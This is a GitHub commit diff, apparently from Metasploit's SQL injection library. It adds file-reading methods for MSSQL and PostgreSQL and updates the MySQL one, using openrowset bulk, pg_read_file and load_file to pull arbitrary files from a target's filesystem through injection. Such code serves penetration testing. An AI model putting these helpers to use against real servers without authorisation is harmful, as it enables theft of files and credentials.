Skip to content

Commit 6d9c789

Browse files
committed
Add method #read_from_file for MSSQL and PostgreSQL, and update the MySQL #read_from_file method
1 parent e79161c commit 6d9c789

File tree

3 files changed

+38
-3
lines changed

3 files changed

+38
-3
lines changed

lib/msf/core/exploit/sqli/mssqli/common.rb

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -192,6 +192,24 @@ def write_to_file(fpath, data)
192192
run_sql("select '#{data}' into dumpfile '#{fpath}'")
193193
end
194194

195+
#
196+
# Attempt reading from a file on the filesystem
197+
# @param fpath [String] The path of the file to read
198+
# @return [String] The content of the file if reading was successful
199+
#
200+
def read_from_file(fpath, binary=false)
201+
alias1 = Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(5..11)
202+
expr = @encoder ? @encoder[:encode].sub(/\^DATA\^/, 'BulkColumn') : 'BulkColumn'
203+
output = if @truncation_length
204+
truncated_query("select substring(#{expr},^OFFSET^,#{@truncation_length}) " \
205+
"from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
206+
else
207+
run_sql("select #{expr} from openrowset(bulk N'#{fpath}',SINGLE_CLOB) as #{alias1}")
208+
end
209+
output = @encoder[:decode].call(output) if @encoder
210+
output
211+
end
212+
195213
private
196214

197215
#

lib/msf/core/exploit/sqli/mysqli/common.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -213,10 +213,11 @@ def write_to_file(fpath, data)
213213
#
214214
# Attempt reading from a file on the filesystem, requires having the FILE privilege
215215
# @param fpath [String] The path of the file to read
216+
# @param binary [Boolean] Whether the target file is a binary one or not
216217
# @return [String] The content of the file if reading was successful
217218
#
218-
def read_from_file(fpath)
219-
run_sql("select load_file('#{fpath}')")
219+
def read_from_file(fpath, binary=false)
220+
call_function("load_file('#{fpath}')")
220221
end
221222

222223
private

lib/msf/core/exploit/sqli/postgresqli/common.rb

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class Common < Msf::Exploit::SQLi::Common
1313
#
1414
ENCODERS = {
1515
base64: {
16-
encode: 'encode(^DATA^::bytea, \'base64\')',
16+
encode: 'translate(encode(^DATA^::bytea, \'base64\'), E\'\n\',\'\')',
1717
decode: proc { |data| Base64.decode64(data) }
1818
},
1919
hex: {
@@ -202,6 +202,22 @@ def write_to_file(fname, data)
202202
raw_run_sql("copy (select '#{data}') to '#{fname}'")
203203
end
204204

205+
#
206+
# Attempt reading from a file on the filesystem
207+
# @param fpath [String] The path of the file to read
208+
# @param binary [String] Whether the target file should be considered a binary one (defaults to false)
209+
# @return [String] The content of the file if reading was successful
210+
#
211+
def read_from_file(fpath, binary=false)
212+
if binary
213+
# pg_read_binary_file returns bytea
214+
# an encoder might be needed
215+
call_function("pg_read_binary_file('#{fpath}')")
216+
else
217+
call_function("pg_read_file('#{fpath}')")
218+
end
219+
end
220+
205221
private
206222

207223
#

0 commit comments

Comments
 (0)